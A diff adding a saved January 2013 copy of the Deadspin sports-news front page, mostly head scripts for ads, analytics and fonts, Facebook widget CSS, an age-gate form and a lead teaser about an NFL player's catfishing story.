+ location.href = location.href.replace(location.host, "m." + location.host.replace(/^(blog|m)./,""));
+ }
+ </script>
+ <title>Deadspin, Sports News without Access, Favor, or Discretion</title>
+
+<meta http-equiv="content-language" content="en">
+<meta http-equiv="refresh" content="86400">
+<meta name="robots" content="all">
+
+ <meta name="keywords" content="News, Sports, Nfl, Mlb, Nba, College Football, Espn, Media Meltdowns, london olympics, Duan!, Torii Hunter, Funbag, College shameday, Deadspin">
+
+
+
+ <meta property="fb:admins" content="800832">
+ <meta property="fb:admins" content="3600537">
+ <meta property="fb:app_id" content="49024928184">
+ <meta name="description" content="Deadspin covers sports gossip, athlete culture, and other things you won't find on any other sports-oriented site.">
+
+
+
+ <meta name="twitter:site" content="@deadspin">
+
+ <link rel="apple-touch-icon" sizes="144x144" href="http://ganja.gawkerassets.com/assets/v10.deadspin.com/img/apple-touch-icon-144x144.png">
+ <link rel="apple-touch-icon" sizes="114x114" href="http://ganja.gawkerassets.com/assets/v10.deadspin.com/img/apple-touch-icon-114x114.png">
+ <link rel="apple-touch-icon" sizes="72x72" href="http://ganja.gawkerassets.com/assets/v10.deadspin.com/img/apple-touch-icon-72x72.png">
+ <link rel="apple-touch-icon" sizes="57x57" href="http://ganja.gawkerassets.com/assets/v10.deadspin.com/img/apple-touch-icon-57x57.png">
+ <link rel="apple-touch-icon" href="./deadspin_files/apple-touch-icon.png">
+ <link rel="shortcut icon" href="http://deadspin.com/assets/base/img/favicon/deadspin.ico">
+
+ <link rel="alternate" type="application/rss+xml" title="Deadspin - All stories" href="http://feeds.gawker.com/deadspin/full">
+ <link rel="alternate" type="application/rss+xml" title="Deadspin - Top stories only (fewer posts)" href="http://deadspin.com/top/index.xml">
+
+
+ <link rel="canonical" href="./deadspin_files/deadspin.com">
+ <meta name="viewport" content="width=1024">
+
+
+
+<!--[if gte IE 9]>
+ <meta http-equiv="X-UA-Compatible" content="IE=8" />
+
+ <![endif]--> <script type="text/javascript">
+ var featureAliases = {"ssologin":"switch","powwow-comments":"newcomments","disablecomments":"disablecomments","newprofile":"newprofile","disablesso":"disablesso","coresso":"coresso"};
+ </script>
+ <!-- runScript --><script type="text/javascript">
+ window.hyperionOptions = {"enabled":true,"api_url":"http:\/\/api.gawker.com\/hyperion\/api\/v1","is_frontpage":true,"site_id":11,"post_id":5978653,"view":"open","skin_search_params":{"tags":[],"posts":[],"page":"frontpage"}};
+ if (window.jQuery !== undefined) {
+ jQuery(window).trigger('ad.hyperion.configured');
+ }
+ </script>
+<script type="text/javascript">var NREUMQ=NREUMQ||[];NREUMQ.push(["mark","firstbyte",new Date().getTime()]);</script>
+ <link rel="stylesheet" type="text/css" href="./deadspin_files/base.v10.static.20130118.css">
+ <link rel="stylesheet" type="text/css" href="./deadspin_files/static.css">
+
+ <script type="text/javascript" src="./deadspin_files/base.v10.static.jquery.20130118.js"></script>
+ <script type="text/javascript" src="./deadspin_files/base.v10.static.jqueryplugin.20130118.js"></script><style rel="alternate stylesheet" type="text/css"></style>
+ <script type="text/javascript" src="./deadspin_files/base.v10.static.framework.20130118.js"></script>
+ <script type="text/javascript" src="./deadspin_files/base.v10.static.misc.20130118.js"></script><script type="text/javascript" src="./deadspin_files/rta.js" async=""></script><style></style>
+ <script type="text/javascript" src="./deadspin_files/base.v10.static.widget.20130118.js"></script>
+<script type="text/javascript">
+ window.Hyperion.bootstrap();
+</script>
+ <script language="JavaScript" type="text/javascript">
+ <!--
+ var gomez={
+ gs: new Date().getTime(),
+ acctId: '247590',
+ grpId: 'deadspin.com',
+ pgId: 'beta'
+ };
+ //-->
+ </script>
+ <script language="JavaScript" src="./deadspin_files/gomez.js" type="text/javascript"></script>
+ <script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script>
+ <!-- Begin comScore Tag -->
+<script>
+ var comscore_script = gawker_getScript('http://b.scorecardresearch.com/beacon.js');
+ var comscore_beacon = { c1:2, c2:"6770184", c3:"", c4:"http://deadspin.com/", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" };
+</script><script async="" src="./deadspin_files/beacon.js"></script>
+<!-- End comScore Tag -->
+ <script type="text/javascript">
+ (function() {
+ var tk = document.createElement('script');
+ tk.src = 'http://fonts.gawker.com/zvc4iwz.js';
+ tk.type = 'text/javascript';
+ tk.async = 'true';
+ tk.onload = tk.onreadystatechange = function() {
+ var rs = this.readyState;
+ if (rs && rs != 'complete' && rs != 'loaded') return;
+ try { Typekit.load(); } catch (e) {}
+ };
+ var s = document.getElementsByTagName('script')[0];
+ s.parentNode.insertBefore(tk, s);
+ })();
+ </script>
+ <script id="adrobotcontainer" type="text/javascript"></script>
+ <script type="text/javascript">
+ var ssoOptions = {
+ 'ssoHost': 'https://login.gawker.com/sso/api',
+ 'consumerId': '17dgfsfa4wgb4',
+ 'cookieSuffix': 'powwow',
+ 'recaptchaKey': '6LfSor8SAAAAAKQnBZMKP3wYxbQWb_sjCvAaFxos'
+ };
+ </script>
+ <script>
+ window.adRobot = jQuery('#adrobotcontainer').AdRobot({
+ 'takeover_css_name': 'static_style.css'
+ }).data('AdRobot');
+ jQuery(window).trigger('ad.adrobot.ready');
+ </script>
+
+ <script type="text/javascript">
+ var sponge_client = {
+ sponge_host: 'api.gawker.com/sponge',
+ update_interval: '60',
+ views_limit: 10000,
+ comments_limit: 100,
+ forDomain: true,
+ stats_enabled: true };
+ </script>
+
+
+ <script type="text/javascript" src="./deadspin_files/scripts.js"></script>
+ <script type="text/javascript">
+ window.pageType = 'frontpage';
+ var has_hybrid_widget = false;
+ var presence_options = {'isReloading':false};
+ var chartbeat_options = {'host' : 'dev.gawker.com:8888','interval' : 10,'runChartbeat' : true};
+ var republishOptions = { 'sites' : {"43":"advertising","11":"deadspin","7":"gawker","4":"gizmodo","8":"io9","12":"jalopnik","39":"jezebel","9":"kotaku","17":"lifehacker","37":"artists","42":"gawkershop","30":"sploid"}, 'siteIds' : [43,11,7,4,8,12,39,9,17,37,42,30] };
+ var forumTagList = ["iwasthere","mediameltdowns","duan","tips","redesign","techhelp"];
+ var siteConfig = {"id":"11","title":"Deadspin","imgBasePath":"http:\/\/ganja.gawkerassets.com\/assets\/base.v10\/img\/","jsBasePath":"http:\/\/ganja.gawkerassets.com\/assets\/base.v10\/js\/","canonicalHost":"deadspin.com","powwowBasePath":"http:\/\/api.gawker.com\/powwow\/"};
+ </script>
+
+
+ <style type="text/css">.modfont,.tk-proxima-nova-condensed{font-family:"proxima-nova-condensed-1","proxima-nova-condensed-2",sans-serif;}</style><link rel="stylesheet" href="http://fonts.gawker.com/k/zvc4iwz-d.css?3bb2a6e53c9684ffdc9a98f3125b2a626c095928039adb8cca8e16c915a159b0f3c8d256a5ec264208bbf5cbd1783600e65386356fa35d50982087f520acbb9763065409424973295f46d8d9db605d324f45829106861751ccba125a79487b746ad1ec2508547ea754a6edb66e38116953b75739dfe7f6f95a3018b5ce990280ee1d258bc715dd5 [...]
+ <script async="" src="./deadspin_files/all.js"></script><script async="" src="./deadspin_files/plusone.js" gapi_processed="true"></script><script async="" src="./deadspin_files/ga.js"></script><script async="" src="./deadspin_files/quant.js"></script><script async="" src="./deadspin_files/all.js"></script><script async="" src="./deadspin_files/chartbeat.js"></script><script type="text/javascript" async="" src="./deadspin_files/saved_resource"></script><script type="text/javascript" as [...]
+.fb_invisible{display:none}
+.fb_reset{background:none;border-spacing:0;border:0;color:#000;cursor:auto;direction:ltr;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}
+.fb_link img{border:none}
+.fb_dialog{background:rgba(82, 82, 82, .7);position:absolute;top:-10000px;z-index:10001}
+.fb_dialog_advanced{padding:10px;-moz-border-radius:8px;-webkit-border-radius:8px;border-radius:8px}
+.fb_dialog_content{background:#fff;color:#333}
+.fb_dialog_close_icon{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif);cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px;top:8px\9;right:7px\9}
+.fb_dialog_mobile .fb_dialog_close_icon{top:5px;left:5px;right:auto}
+.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}
+.fb_dialog_close_icon:hover{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif)}
+.fb_dialog_close_icon:active{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif)}
+.fb_dialog_loader{background-color:#f2f2f2;border:1px solid #606060;font-size:24px;padding:20px}
+.fb_dialog_top_left,
+.fb_dialog_top_right,
+.fb_dialog_bottom_left,
+.fb_dialog_bottom_right{height:10px;width:10px;overflow:hidden;position:absolute}
+/* @noflip */
+.fb_dialog_top_left{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 0;left:-10px;top:-10px}
+/* @noflip */
+.fb_dialog_top_right{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -10px;right:-10px;top:-10px}
+/* @noflip */
+.fb_dialog_bottom_left{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -20px;bottom:-10px;left:-10px}
+/* @noflip */
+.fb_dialog_bottom_right{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -30px;right:-10px;bottom:-10px}
+.fb_dialog_vert_left,
+.fb_dialog_vert_right,
+.fb_dialog_horiz_top,
+.fb_dialog_horiz_bottom{position:absolute;background:#525252;filter:alpha(opacity=70);opacity:.7}
+.fb_dialog_vert_left,
+.fb_dialog_vert_right{width:10px;height:100%}
+.fb_dialog_vert_left{margin-left:-10px}
+.fb_dialog_vert_right{right:0;margin-right:-10px}
+.fb_dialog_horiz_top,
+.fb_dialog_horiz_bottom{width:100%;height:10px}
+.fb_dialog_horiz_top{margin-top:-10px}
+.fb_dialog_horiz_bottom{bottom:0;margin-bottom:-10px}
+.fb_dialog_iframe{line-height:0}
+.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #3b5998;color:#fff;font-size:14px;font-weight:bold;margin:0}
+.fb_dialog_content .dialog_title > span{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yD/x/Cou7n-nqK52.gif)
+no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}
+body.fb_hidden{-webkit-transform:none;height:100%;margin:0;left:-10000px;overflow:visible;position:absolute;top:-10000px;width:100%
+}
+.fb_dialog.fb_dialog_mobile.loading{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yc/x/3rhSv5V8j3o.gif)
+white no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}
+.fb_dialog.fb_dialog_mobile.loading.centered{max-height:590px;min-height:590px;max-width:500px;min-width:500px}
+#fb-root #fb_dialog_ipad_overlay{background:rgba(0, 0, 0, .45);position:absolute;left:0;top:0;width:100%;min-height:100%;z-index:10000}
+#fb-root #fb_dialog_ipad_overlay.hidden{display:none}
+.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}
+.fb_dialog_content .dialog_header{-webkit-box-shadow:white 0 1px 1px -1px inset;background:-webkit-gradient(linear, 0 0, 0 100%, from(#738ABA), to(#2C4987));border-bottom:1px solid;border-color:#1d4088;color:#fff;font:14px Helvetica, sans-serif;font-weight:bold;text-overflow:ellipsis;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0;vertical-align:middle;white-space:nowrap}
+.fb_dialog_content .dialog_header table{-webkit-font-smoothing:subpixel-antialiased;height:43px;width:100%
+}
+.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px
+}
+.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px
+}
+.fb_dialog_content .touchable_button{background:-webkit-gradient(linear, 0 0, 0 100%, from(#4966A6),
+color-stop(0.5, #355492), to(#2A4887));border:1px solid #29447e;-webkit-background-clip:padding-box;-webkit-border-radius:3px;-webkit-box-shadow:rgba(0, 0, 0, .117188) 0 1px 1px inset,
+rgba(255, 255, 255, .167969) 0 1px 0;display:inline-block;margin-top:3px;max-width:85px;line-height:18px;padding:4px 12px;position:relative}
+.fb_dialog_content .dialog_header .touchable_button input{border:none;background:none;color:#fff;font:12px Helvetica, sans-serif;font-weight:bold;margin:2px -12px;padding:2px 6px 3px 6px;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}
+.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:bold;line-height:18px;text-align:center;vertical-align:middle}
+.fb_dialog_content .dialog_content{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yJ/x/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #555;border-bottom:0;border-top:0;height:150px}
+.fb_dialog_content .dialog_footer{background:#f2f2f2;border:1px solid #555;border-top-color:#ccc;height:40px}
+#fb_dialog_loader_close{float:left}
+.fb_dialog.fb_dialog_mobile .fb_dialog_close_button{text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}
+.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden}
+.fb_iframe_widget{position:relative;display:-moz-inline-block;display:inline-block}
+.fb_iframe_widget iframe{position:absolute}
+.fb_iframe_widget_lift{z-index:1}
+.fb_iframe_widget span{position:relative;display:inline-block;vertical-align:text-bottom;text-align:justify}
+.fb_hide_iframes iframe{position:relative;left:-10000px}
+.fb_iframe_widget_loader{position:relative;display:inline-block}
+.fb_iframe_widget_fluid{display:inline}
+.fb_iframe_widget_fluid span{width:100%}
+.fb_iframe_widget_loader iframe{min-height:32px;z-index:2;zoom:1}
+.fb_iframe_widget_loader .FB_Loader{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yJ/x/jKEcVPZFk-2.gif) no-repeat;height:32px;width:32px;margin-left:-16px;position:absolute;left:50%;z-index:4}
+.fb_button_simple,
+.fb_button_simple_rtl{background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yH/x/eIpbnVKI9lR.png);background-repeat:no-repeat;cursor:pointer;outline:none;text-decoration:none}
+.fb_button_simple_rtl{background-position:right 0}
+.fb_button_simple .fb_button_text{margin:0 0 0 20px;padding-bottom:1px}
+.fb_button_simple_rtl .fb_button_text{margin:0 10px 0 0}
+a.fb_button_simple:hover .fb_button_text,
+a.fb_button_simple_rtl:hover .fb_button_text,
+.fb_button_simple:hover .fb_button_text,
+.fb_button_simple_rtl:hover .fb_button_text{text-decoration:underline}
+.fb_button,
+.fb_button_rtl{background:#29447e url(http://static.ak.fbcdn.net/rsrc.php/v2/yl/x/FGFbc80dUKj.png);background-repeat:no-repeat;cursor:pointer;display:inline-block;padding:0 0 0 1px;text-decoration:none;outline:none}
+.fb_button .fb_button_text,
+.fb_button_rtl .fb_button_text{background:#5f78ab url(http://static.ak.fbcdn.net/rsrc.php/v2/yl/x/FGFbc80dUKj.png);border-top:solid 1px #879ac0;border-bottom:solid 1px #1a356e;color:#fff;display:block;font-family:"lucida grande",tahoma,verdana,arial,sans-serif;font-weight:bold;padding:2px 6px 3px 6px;margin:1px 1px 0 21px;text-shadow:none}
+a.fb_button,
+a.fb_button_rtl,
+.fb_button,
+.fb_button_rtl{text-decoration:none}
+a.fb_button:active .fb_button_text,
+a.fb_button_rtl:active .fb_button_text,
+.fb_button:active .fb_button_text,
+.fb_button_rtl:active .fb_button_text{border-bottom:solid 1px #29447e;border-top:solid 1px #45619d;background:#4f6aa3;text-shadow:none}
+.fb_button_xlarge,
+.fb_button_xlarge_rtl{background-position:left -60px;font-size:24px;line-height:30px}
+.fb_button_xlarge .fb_button_text{padding:3px 8px 3px 12px;margin-left:38px}
+a.fb_button_xlarge:active{background-position:left -99px}
+.fb_button_xlarge_rtl{background-position:right -268px}
+.fb_button_xlarge_rtl .fb_button_text{padding:3px 8px 3px 12px;margin-right:39px}
+a.fb_button_xlarge_rtl:active{background-position:right -307px}
+.fb_button_large,
+.fb_button_large_rtl{background-position:left -138px;font-size:13px;line-height:16px}
+.fb_button_large .fb_button_text{margin-left:24px;padding:2px 6px 4px 6px}
+a.fb_button_large:active{background-position:left -163px}
+.fb_button_large_rtl{background-position:right -346px}
+.fb_button_large_rtl .fb_button_text{margin-right:25px}
+a.fb_button_large_rtl:active{background-position:right -371px}
+.fb_button_medium,
+.fb_button_medium_rtl{background-position:left -188px;font-size:11px;line-height:14px}
+a.fb_button_medium:active{background-position:left -210px}
+.fb_button_medium_rtl{background-position:right -396px}
+.fb_button_text_rtl,
+.fb_button_medium_rtl .fb_button_text{padding:2px 6px 3px 6px;margin-right:22px}
+a.fb_button_medium_rtl:active{background-position:right -418px}
+.fb_button_small,
+.fb_button_small_rtl{background-position:left -232px;font-size:10px;line-height:10px}
+.fb_button_small .fb_button_text{padding:2px 6px 3px;margin-left:17px}
+a.fb_button_small:active,
+.fb_button_small:active{background-position:left -250px}
+.fb_button_small_rtl{background-position:right -440px}
+.fb_button_small_rtl .fb_button_text{padding:2px 6px;margin-right:18px}
+a.fb_button_small_rtl:active{background-position:right -458px}
+.fb_share_count_wrapper{position:relative;float:left}
+.fb_share_count{background:#b0b9ec none repeat scroll 0 0;color:#333;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;text-align:center}
+.fb_share_count_inner{background:#e8ebf2;display:block}
+.fb_share_count_right{margin-left:-1px;display:inline-block}
+.fb_share_count_right .fb_share_count_inner{border-top:solid 1px #e8ebf2;border-bottom:solid 1px #b0b9ec;margin:1px 1px 0 1px;font-size:10px;line-height:10px;padding:2px 6px 3px;font-weight:bold}
+.fb_share_count_top{display:block;letter-spacing:-1px;line-height:34px;margin-bottom:7px;font-size:22px;border:solid 1px #b0b9ec}
+.fb_share_count_nub_top{border:none;display:block;position:absolute;left:7px;top:35px;margin:0;padding:0;width:6px;height:7px;background-repeat:no-repeat;background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yP/x/bSOHtKbCGYI.png)}
+.fb_share_count_nub_right{border:none;display:inline-block;padding:0;width:5px;height:10px;background-repeat:no-repeat;background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yL/x/i_oIVTKMYsL.png);vertical-align:top;background-position:right 5px;z-index:10;left:2px;margin:0 2px 0 0;position:relative}
+.fb_share_no_count{display:none}
+.fb_share_size_Small .fb_share_count_right .fb_share_count_inner{font-size:10px}
+.fb_share_size_Medium .fb_share_count_right .fb_share_count_inner{font-size:11px;padding:2px 6px 3px;letter-spacing:-1px;line-height:14px}
+.fb_share_size_Large .fb_share_count_right .fb_share_count_inner{font-size:13px;line-height:16px;padding:2px 6px 4px;font-weight:normal;letter-spacing:-1px}
+.fb_share_count_hidden .fb_share_count_nub_top,
+.fb_share_count_hidden .fb_share_count_top,
+.fb_share_count_hidden .fb_share_count_nub_right,
+.fb_share_count_hidden .fb_share_count_right{visibility:hidden}
+.fb_connect_bar_container div,
+.fb_connect_bar_container span,
+.fb_connect_bar_container a,
+.fb_connect_bar_container img,
+.fb_connect_bar_container strong{background:none;border-spacing:0;border:0;direction:ltr;font-style:normal;font-variant:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal;vertical-align:baseline}
+.fb_connect_bar_container{position:fixed;left:0 !important;right:0 !important;height:42px !important;padding:0 25px !important;margin:0 !important;vertical-align:middle !important;border-bottom:1px solid #333 !important;background:#3b5998 !important;z-index:99999999 !important;overflow:hidden !important}
+.fb_connect_bar_container_ie6{position:absolute;top:expression(document.compatMode=="CSS1Compat"? document.documentElement.scrollTop+"px":body.scrollTop+"px")}
+.fb_connect_bar{position:relative;margin:auto;height:100%;width:100%;padding:6px 0 0 0 !important;background:none;color:#fff !important;font-family:"lucida grande", tahoma, verdana, arial, sans-serif !important;font-size:13px !important;font-style:normal !important;font-variant:normal !important;font-weight:normal !important;letter-spacing:normal !important;line-height:1 !important;text-decoration:none !important;text-indent:0 !important;text-shadow:none !important;text-transform:none !i [...]
+.fb_connect_bar a:hover{color:#fff}
+.fb_connect_bar .fb_profile img{height:30px;width:30px;vertical-align:middle;margin:0 6px 5px 0}
+.fb_connect_bar div a,
+.fb_connect_bar span,
+.fb_connect_bar span a{color:#bac6da;font-size:11px;text-decoration:none}
+.fb_connect_bar .fb_buttons{float:right;margin-top:7px}
+.fb_edge_widget_with_comment{position:relative;*z-index:1000}
+.fb_edge_widget_with_comment span.fb_edge_comment_widget{position:absolute}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget{z-index:1}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget .FB_Loader{left:0;top:1px;margin-top:6px;margin-left:0;background-position:50% 50%;background-color:#fff;height:150px;width:394px;border:1px #666 solid;border-bottom:2px solid #283e6c;z-index:1}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget.dark .FB_Loader{background-color:#000;border-bottom:2px solid #ccc}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget.siderender
+.FB_Loader{margin-top:0}
+.fbpluginrecommendationsbarleft,
+.fbpluginrecommendationsbarright{position:fixed !important;bottom:0;z-index:999}
+/* @noflip */
+.fbpluginrecommendationsbarleft{left:10px}
+/* @noflip */
+.fbpluginrecommendationsbarright{right:10px}</style></head>
+
+ <body id="deadspin" class="rightbar-no-scroll frontpage legacy">
+
+ <div id="header">
+ <div id="site" class="marked marked-head ui-border">
+ <h2 class="brand">
+ <a href="./deadspin_files/deadspin.com" id="frontpage"><span>Deadspin</span></a>
+ </h2>
+
+ <ul id="switch_view" class="modfont">
+ <li class="selected"><a id="switch_topstories" title="Switch to top stories" href="./deadspin_files/deadspin.com">Top Stories</a></li>
+ </ul>
+ </div>
+
+
+ <div class="gawkerwidget spongestatsclient_area" style="display: none;"></div>
+
+ <script type="text/javascript" charset="utf-8">
+ GawkerClientside.pushWidget('spongestatsclient', jQuery('.gawkerwidget.spongestatsclient_area').spongestatsclient(sponge_client).data('spongestatsclient'));
+ </script>
+
+ <div id="fb-root" class=" fb_reset"><div style="position: absolute; top: -10000px; height: 0px; width: 0px;"><div><iframe name="fb_xdm_frame_http" frame-border="0" allowtransparency="true" scrolling="no" aria-hidden="true" title="Facebook Cross Domain Communication Frame" tab-index="-1" style="border: none;" src="./deadspin_files/xd_arbiter.htm"></iframe><iframe name="fb_xdm_frame_https" frame-border="0" allowtransparency="true" scrolling="no" aria-hidden="true" title="Facebook Cross [...]
+</div>
+
+ <div id="page">
+
+<div class="ad_marquee default"><div id="marquee-frame" style="display: none;"></div>
+<span style="width: 1px; height: 1px; overflow: hidden; text-indent: -10000em; margin: 0; position: absolute;">
+<!-- widget container -->
+<div id="ad_container_45527193" class="ad_container 2x1 marquee" style="display: none;">
+
+<iframe id="ad_iframe_45527193" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="2" height="1" src="./deadspin_files/ad_iframe(5).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_45527193').HyperionAd({"height":1,"width":2,"mode":"iframe","forced_zone":"front","variant":"marquee","size":"2x1","hyperion_class":"HyperionAd","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":45527193,"fallback_zone":"collapse","iframe_attributes":{"id":"ad_iframe_45527193","frameBorder":0,"scrolling":"no","vspace":0,"marginWidth" [...]
+</script>
+<!-- widget container -->
+<div id="ad_container_28732140" class="ad_container 1x1 takeover" style="display: none;">
+
+<iframe id="ad_iframe_28732140" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="1" height="1" src="./deadspin_files/ad_iframe(3).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_28732140').HyperionAd({"height":1,"width":1,"mode":"iframe","forced_zone":"front","variant":"takeover","size":"1x1","hyperion_class":"HyperionAd","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":28732140,"fallback_zone":"front","iframe_attributes":{"id":"ad_iframe_28732140","frameBorder":0,"scrolling":"no","vspace":0,"marginWidth":0 [...]
+</script>
+</span>
+<!-- runScript --><script type="text/javascript">
+ if (GawkerClientside.widgets.marquee === undefined) {
+ GawkerClientside.pushWidget('marquee', jQuery('#marquee-frame').Marquee({}).data('Marquee'));
+ }
+</script></div>
+ <div class="post top nodeview">
+
+
+<div id="snippet_items_widgets_agegate">
+ <div id="agegate_container" style="display: none;">
+ <div id="agegate_IDHERE" class="agegate_container">
+ <div class="roundbox">
+ <b class="rtop"><b class="rb1"></b><b class="rb2"></b><b class="rb3"></b><b class="rb4"></b></b>
+ <div class="roundcontent">
+ <form class="agegate_control cn_agegate_form" action="http://deadspin.com/#">
+ <div class="ageconfirm"><div class="exclamation"></div>Please confirm your birth date:</div>
+ <div class="fields">
+ <input class="agegate_control cn_month validate valid_minmax-1_12" type="text" size="2" maxlength="2" name="month" value="mm">
+ <input class="agegate_control cn_day validate valid_minmax-1_31" type="text" size="2" maxlength="2" name="day" value="dd">
+ <input class="agegate_control cn_year validate valid_minmax-1900_2013" type="text" size="4" maxlength="4" name="year" value="yyyy">
+ <br style="clear: both;">
+ </div>
+ <input type="submit" value="Submit" class="agesubmit">
+ <div class="validationmessage month_validmsg day_validmsg msg_valid_minmax" style="display: none;">Please enter a valid date</div>
+ <div class="validationmessage year_validmsg msg_valid_minmax" style="display: none;">Please enter your full birth year</div>
+ </form>
+
+ </div>
+ <b class="rbottom"><b class="rb4"></b><b class="rb3"></b><b class="rb2"></b><b class="rb1"></b></b>
+ </div>
+ </div>
+ </div>
+
+ <div id="agegate_container_rejected" style="display: none;">
+ <div id="agegate_IDHERE" class="agegate_container denied">
+ <div class="roundbox">
+ <b class="rtop"><b class="rb1"></b><b class="rb2"></b><b class="rb3"></b><b class="rb4"></b></b>
+ <div class="roundcontent"><div class="ageconfirm"><div class="exclamation"></div>This content is restricted.</div></div>
+ <b class="rbottom"><b class="rb4"></b><b class="rb3"></b><b class="rb2"></b><b class="rb1"></b></b>
+ </div>
+ </div>
+ </div>
+
+</div><script type="text/javascript">Snippets.push("snippet_items_widgets_agegate", "\r\n\t\t\t\t<div id=\"agegate_container\" style=\"display: none;\">\r\n\t\t\t\t\t<div id=\"agegate_IDHERE\" class=\"agegate_container\">\r\n\t\t\t\t\t\t<div class=\"roundbox\">\r\n\t\t\t\t\t\t\t<b class=\"rtop\"><b class=\"rb1\"><\/b><b class=\"rb2\"><\/b><b class=\"rb3\"><\/b><b class=\"rb4\"><\/b><\/b>\r\n\t\t\t\t\t\t\t<div class=\"roundcontent\">\r\n\t\t\t\t\t\t\t\t<form class=\"agegate_control cn_age [...]
+ <a href="http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment" class="gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_img"><img src="./deadspin_files/xlarge.jpg" width="640" height="360" title="All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment" alt="All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment" class="wide splashimg"></a>
+ </div>
+
+
+ <div class="content illustrated">
+
+ <div class="presence_control_external">
+ <div id="snippet_items_widgets_editorcontrols_post"></div><script type="text/javascript">Snippets.push("snippet_items_widgets_editorcontrols_post", "");</script> </div>
+
+ <div class="alternates modfont">
+ <a href="http://deadspin.com/manti-te.o/" class="taglink gaqtrack" data-gaqevent="homepage_click" data-gaqid="1_tag">manti te'o</a> <span class="tag-more">
+ <a class="taglink alternate" href="http://deadspin.com/nfl/">nfl</a>
+ <a class="taglink alternate" href="http://deadspin.com/catfishing/">catfishing</a>
+ <a class="taglink alternate" href="http://deadspin.com/hoaxes/">hoaxes</a>
+ <a class="taglink alternate" href="http://deadspin.com/lennay-kekua/">lennay kekua</a>
+ <a class="taglink alternate" href="http://deadspin.com/news/">news</a>
+ <a class="taglink alternate" href="http://deadspin.com/no-such-dame/">no such dame</a>
+ </span>
+ </div>
+
+ <div class="post-supp">
+ <div class="post-meta presence_control_external ui-shade ui-light marked ui-border modfont" data-permalink="http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment">
+
+ <span class="line">
+
+ <span class="date">
+ Jan 24, 2013 6:00 PM </span>
+ </span>
+
+ <span class="data" title="4470 New Visitors" alt="4470 New Visitors">
+ <span class="total_views">50,460</span><img class="icon flame" src="./deadspin_files/rightbar.flame.png">
+ <span class="comments">62</span><img class="icon comment" src="./deadspin_files/rightbar.comment.png">
+ </span>
+
+ <div class="share">
+ <button class="button ui-light share_button">Share</button>
+ <div class="share_menu box">
+ <ul>
+ <li class="share_facebook">
